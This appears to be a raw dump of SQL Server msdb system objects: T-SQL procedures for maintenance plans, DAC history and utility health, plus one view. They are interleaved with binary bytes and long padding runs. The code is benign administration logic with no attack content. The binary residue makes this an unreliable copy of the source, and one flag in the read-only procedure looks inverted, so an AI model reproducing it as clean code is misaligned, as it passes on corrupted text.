!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`m<!lN?04z: 8CREATE PROCEDURE sp_maintplan_start
    @plan_id        UNIQUEIDENTIFIER    = NULL,
    @subplan_id     UNIQUEIDENTIFIER    = NULL
AS
BEGIN
    SET NOCOUNT ON

    DECLARE @jobid  UNIQUEIDENTIFIER
    DECLARE @retval INT
    SET @retval = 0

    -- A @plan_id or @subplan_id must be supplied
   IF (@plan_id IS NULL) AND (@subplan_id IS NULL)
   BEGIN
      RAISERROR(12982, -1, -1, '@plan_id', '@subplan_id')
      RETURN(1)
   END

    -- either @plan_id or @subplan_id must be exclusively set
   IF (@plan_id IS NOT NULL) AND (@subplan_id IS NOT NULL)
   BEGIN
      RAISERROR(12982, -1, -1, '@plan_id', '@subplan_id')
      RETURN(1)
   END

    IF (@subplan_id IS NOT NULL)
    BEGIN 
        -- subplan_id supplied so simply start the subplan's job

        SELECT @jobid = job_id 
        FROM msdb.dbo.sysmaintplan_subplans 
        WHERE subplan_id = @subplan_id 

        if(@jobid IS NOT NULL)
        BEGIN
            EXEC @retval = msdb.dbo.sp_start_job @job_id = @jobid
        END

    END
    ELSE
    BEGIN
        -- Loop through Subplans and fire off all associated jobs
       DECLARE spj CURSOR LOCAL FOR 
            SELECT job_id
            FROM msdb.dbo.sysmaintplan_subplans 
            WHERE plan_id = @plan_id FOR READ ONLY

       OPEN spj
       FETCH NEXT FROM spj INTO @jobid
       WHILE (@@FETCH_STATUS = 0)
       BEGIN 
           EXEC @retval = msdb.dbo.sp_start_job @job_id = @jobid
            IF(@retval <> 0)
                BREAK

           FETCH NEXT FROM spj INTO @jobid
       END

       CLOSE spj
       DEALLOCATE spj

    END

    RETURN (@retval)
END
0uZ 8CREATE VIEW dbo.sysutility_ucp_policy_target_conditions 
AS
SELECT
    tc.rollup_object_type AS rollup_object_type,
    tc.target_type AS target_type,
    tc.resource_type AS resource_type,
    tc.utilization_type AS utilization_type, 
    tc.facet_name AS facet_name,
    tc.attribute_name AS attribute_name,
    tc.operator_type as operator_type,
    tc.property_name as property_name
FROM msdb.[dbo].[sysutility_ucp_policy_target_conditions_internal] tc
0^o &8((25))0 8CREATE PROCEDURE [dbo].[sp_sysdac_setreadonly_database]  
        @database_name sysname,
        @readonly bit = 0
AS  
SET NOCOUNT ON;
BEGIN  
    DECLARE @sqlstatement nvarchar(1000)
    
    DECLARE @quoted_database_name nvarchar(258)   
    SET @quoted_database_name = QUOTENAME(@database_name)
    
    IF (@readonly = 0)
        SET @sqlstatement = 'ALTER DATABASE ' + @quoted_database_name + ' SET READ_ONLY WITH ROLLBACK IMMEDIATE'
    ELSE IF (@readonly = 1)
        SET @sqlstatement = 'ALTER DATABASE ' + @quoted_database_name + ' SET READ_WRITE WITH ROLLBACK IMMEDIATE'    

    EXEC (@sqlstatement)
            
    RETURN(@@error)
END
0 D8h-0C %8((0))0ԏ 8
CREATE PROCEDURE dbo.sp_sysutility_ucp_calculate_aggregated_dac_health 
   @new_set_number INT
WITH EXECUTE AS OWNER
AS
BEGIN
       
    -- DacCount
    DECLARE @dac_count INT = 0
    SELECT @dac_count = COUNT(*) 
    FROM msdb.dbo.sysutility_ucp_dac_health_internal hs
    WHERE hs.set_number = @new_set_number

    -- DacOverUtilizeCount
    DECLARE @dac_over_utilize_count INT = 0
    SELECT @dac_over_utilize_count = COUNT(*)
    FROM msdb.dbo.sysutility_ucp_dac_health_internal hs
    WHERE hs.set_number = @new_set_number AND
          (0 != hs.is_dac_processor_over_utilized OR
           0 != hs.is_computer_processor_over_utilized OR
           0 != hs.is_file_space_over_utilized OR
           0 != hs.is_volume_space_over_utilized)

    -- DacUnderUtilizeCount
    DECLARE @dac_under_utilize_count INT = 0
    SELECT @dac_under_utilize_count = COUNT(*)
    FROM msdb.dbo.sysutility_ucp_dac_health_internal hs
    WHERE hs.set_number = @new_set_number AND
          (0 != hs.is_dac_processor_under_utilized OR
           0 != hs.is_computer_processor_under_utilized OR
           0 != hs.is_file_space_under_utilized OR
           0 != hs.is_volume_space_under_utilized)
           AND 0 = hs.is_dac_processor_over_utilized 
           AND 0 = hs.is_computer_processor_over_utilized 
           AND 0 = hs.is_file_space_over_utilized 
           AND 0 = hs.is_volume_space_over_utilized
    	   
    -- DacUnhealthyCount
    DECLARE @dac_unhealthy_count INT = 0
    SELECT @dac_unhealthy_count = @dac_over_utilize_count + @dac_under_utilize_count;

    -- DacHealthyCount
    DECLARE @dac_healthy_count INT = 0
    SELECT @dac_healthy_count = COUNT(*)
    FROM msdb.dbo.sysutility_ucp_dac_health_internal hs
    WHERE hs.set_number = @new_set_number 
    AND 0 = hs.is_dac_processor_under_utilized 
    AND 0 = hs.is_computer_processor_under_utilized 
    AND 0 = hs.is_file_space_under_utilized 
    AND 0 = hs.is_volume_space_under_utilized
    AND 0 = hs.is_dac_processor_over_utilized 
    AND 0 = hs.is_computer_processor_over_utilized 
    AND 0 = hs.is_file_space_over_utilized 
    AND 0 = hs.is_volume_space_over_utilized        

    -- Insert new record
    INSERT INTO msdb.dbo.sysutility_ucp_aggregated_dac_health_internal(set_number
            , dac_count
            , dac_healthy_count
            , dac_unhealthy_count
            , dac_over_utilize_count
            , dac_under_utilize_count
            , dac_on_over_utilized_computer_count
            , dac_on_under_utilized_computer_count
            , dac_with_files_on_over_utilized_volume_count
            , dac_with_files_on_under_utilized_volume_count
            , dac_with_over_utilized_file_count
            , dac_with_under_utilized_file_count
            , dac_with_over_utilized_processor_count
            , dac_with_under_utilized_processor_count)
    SELECT @new_set_number
            , @dac_count 
            , @dac_healthy_count 
            , @dac_unhealthy_count 
            , @dac_over_utilize_count 
            , @dac_under_utilize_count 
            , ISNULL(SUM(CASE WHEN 0 < hs.is_computer_processor_over_utilized THEN 1 ELSE 0 END), 0)
            , ISNULL(SUM(CASE WHEN 0 < hs.is_computer_processor_under_utilized THEN 1 ELSE 0 END), 0)
            , ISNULL(SUM(CASE WHEN 0 < hs.is_volume_space_over_utilized THEN 1 ELSE 0 END), 0)
            , ISNULL(SUM(CASE WHEN 0 < hs.is_volume_space_under_utilized THEN 1 ELSE 0 END), 0)
            , ISNULL(SUM(CASE WHEN 0 < hs.is_file_space_over_utilized THEN 1 ELSE 0 END), 0)
            , ISNULL(SUM(CASE WHEN 0 < hs.is_file_space_under_utilized THEN 1 ELSE 0 END), 0)
            , ISNULL(SUM(CASE WHEN 0 < hs.is_dac_processor_over_utilized THEN 1 ELSE 0 END), 0)
            , ISNULL(SUM(CASE WHEN 0 < hs.is_dac_processor_under_utilized THEN 1 ELSE 0 END), 0)
    FROM msdb.dbo.sysutility_ucp_dac_health_internal hs   
    WHERE hs.set_number = @new_set_number       

END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!G" 	`l<ymN1-]0m. 8CREATE PROCEDURE sp_get_script
    @name sysname
AS
BEGIN
    exec master.dbo.xp_get_script @name
END
0c %8((0))0( p
8CREATE PROCEDURE [dbo].[sp_sysdac_update_history_entry]
    @action_id int,
    @instance_id UniqueIdentifier = NULL,
    @action_type tinyint = NULL,
    @dac_object_type tinyint = NULL,
    @action_status tinyint = NULL,
    @dac_object_name_pretran sysname = N'',
    @dac_object_name_posttran sysname = N'',
    @sqlscript nvarchar(max) = N'',
    @error_string nvarchar(max) = N''
AS  
SET NOCOUNT ON;
BEGIN  
    DECLARE @retval INT  

    DECLARE @null_column sysname    
    SET @null_column = NULL

    IF (@instance_id IS NULL)
        SET @null_column = '@instance_id'
    ELSE IF (@action_type IS NULL)
        SET @null_column = '@action_type'
    ELSE IF (@dac_object_type IS NULL)
        SET @null_column = '@dac_object_type'
    ELSE IF (@action_status IS NULL) --action_status should be non-pending (success/failure)
        SET @null_column = '@action_status'

    IF @null_column IS NOT NULL
    BEGIN
        RAISERROR(14043, -1, -1, @null_column, 'sp_sysdac_update_history_entry')
        RETURN(1)
    END
     
    -- Only allow users who created history entry or 'sysadmins' to update the row
    DECLARE @username SYSNAME
    SET @username = (SELECT created_by 
                     FROM dbo.sysdac_history_internal 
                     WHERE instance_id              = @instance_id AND 
                           action_id                = @action_id AND 
                           action_type              = @action_type AND
                           dac_object_type          = @dac_object_type AND
                           dac_object_name_pretran  = @dac_object_name_pretran AND
                           dac_object_name_posttran = @dac_object_name_posttran)

    IF ((@username != [dbo].[fn_sysdac_get_currentusername]()) AND ([dbo].[fn_sysdac_is_currentuser_sa]() != 1))
    BEGIN
        RAISERROR(36011, -1, -1);
        RETURN(1); -- failure
    END

    UPDATE [dbo].[sysdac_history_internal] 
    SET            
                action_status           = @action_status,
                sqlscript               = @sqlscript,
                error_string            = @error_string,
                date_modified           = (SELECT GETDATE()) 
    WHERE
                action_id               = @action_id AND
                action_type             = @action_type AND
                dac_object_type         = @dac_object_type AND
                dac_object_name_pretran = @dac_object_name_pretran AND
                dac_object_name_posttran = @dac_object_name_posttran
    
    SELECT @retval = @@error
    RETURN(@retval)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<nN;;0W  %8((0))0aw  8CREATE PROCEDURE [dbo].[sp_sysdac_resolve_pending_entry]  
    @action_id INT,
    @sequence_id INT
AS  
SET NOCOUNT ON;
BEGIN  
    DECLARE @null_column sysname    
    SET @null_column = NULL

    IF (@action_id IS NULL)
        SET @null_column = '@action_id'
    ELSE IF (@sequence_id IS NULL)
        SET @null_column = '@sequence_id'

    IF @null_column IS NOT NULL
    BEGIN
        RAISERROR(14043, -1, -1, @null_column, 'sp_sysdac_resolve_pending_entry')
        RETURN(1)
    END

    DECLARE @instance_id UNIQUEIDENTIFIER
    DECLARE @action_type TINYINT
    DECLARE @dac_object_type TINYINT        
    DECLARE @action_status TINYINT
    DECLARE @dac_object_name_pretran SYSNAME
    DECLARE @dac_object_name_posttran SYSNAME

    SELECT @instance_id = instance_id, 
            @action_type = action_type, 
            @dac_object_type = dac_object_type,
            @dac_object_name_pretran = dac_object_name_pretran, 
            @dac_object_name_posttran = dac_object_name_posttran
    FROM sysdac_history_internal
    WHERE action_id = @action_id AND sequence_id = @sequence_id

   
    --Below are the constants set based on history table    
    DECLARE @create TINYINT
    DECLARE @rename TINYINT
    DECLARE @database TINYINT
    DECLARE @success TINYINT
    DECLARE @rollback TINYINT
    DECLARE @fail TINYINT
    DECLARE @register TINYINT
    DECLARE @unregister TINYINT
    DECLARE @upgrade TINYINT
    DECLARE @readonly TINYINT
    DECLARE @readwrite TINYINT
    DECLARE @disconnectusers TINYINT
    DECLARE @readonlymode INT

    SET @create = 1
    SET @rename = 2
    SET @database = 2
    SET @success = 2
    SET @rollback = 4
    SET @fail = 3
    SET @register = 3
    SET @unregister = 14
    SET @upgrade = 15
    SET @readonly = 12
    SET @readwrite = 16
    SET @disconnectusers = 17
    SET @readonlymode = 1024
    
    SET @action_status = @fail --initialize result of the action to failure and adjust if below cases succeed!
    
    IF @action_type = @create AND @dac_object_type = @database --database create
    BEGIN
        IF EXISTS(SELECT 1 FROM sys.sysdatabases WHERE name = @dac_object_name_pretran)
            SET @action_status = @success
    END
    ELSE IF @action_type = @rename AND @dac_object_type = @database --database rename
    BEGIN
        IF (EXISTS(SELECT 1 FROM sys.sysdatabases WHERE name = @dac_object_name_posttran)) AND 
            (NOT EXISTS(SELECT 1 FROM sys.sysdatabases WHERE name = @dac_object_name_pretran))
            SET @action_status = @success 
    END
    ELSE IF @action_type = @register --register DAC
    BEGIN
        IF (EXISTS(SELECT 1 FROM dbo.sysdac_instances_internal WHERE instance_name = @dac_object_name_pretran))
            SET @action_status = @success
    END
    ELSE IF @action_type = @unregister --unregister DAC
    BEGIN
        IF (NOT EXISTS(SELECT 1 FROM dbo.sysdac_instances_internal WHERE instance_name = @dac_object_name_pretran))
            SET @action_status = @success
    END
    ELSE IF @action_type = @upgrade --upgrade DAC
    BEGIN
        IF (EXISTS(SELECT 1 FROM dbo.sysdac_instances_internal WHERE instance_name = @dac_object_name_posttran)) AND 
            (NOT EXISTS(SELECT 1 FROM dbo.sysdac_instances_internal WHERE instance_name = @dac_object_name_pretran))
            SET @action_status = @success     
    END
    ELSE IF @action_type = @readonly OR @action_type = @disconnectusers -- readonly/disconnect users state
    BEGIN
        IF (EXISTS(SELECT 1 FROM sys.sysdatabases 
                            WHERE ((status & @readonlymode) = @readonlymode) AND name=@dac_object_name_pretran))
            SET @action_status = @success
    END
    ELSE IF @action_type = @readwrite -- readwrite state
    BEGIN
        IF (EXISTS(SELECT 1 FROM sys.sysdatabases 
                            WHERE ((status & @readonlymode) != @readonlymode) AND name=@dac_object_name_pretran))
            SET @action_status = @success
    END

    UPDATE sysdac_history_internal
    SET action_status = @action_status
    WHERE action_id = @action_id AND sequence_id = @sequence_id
    
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!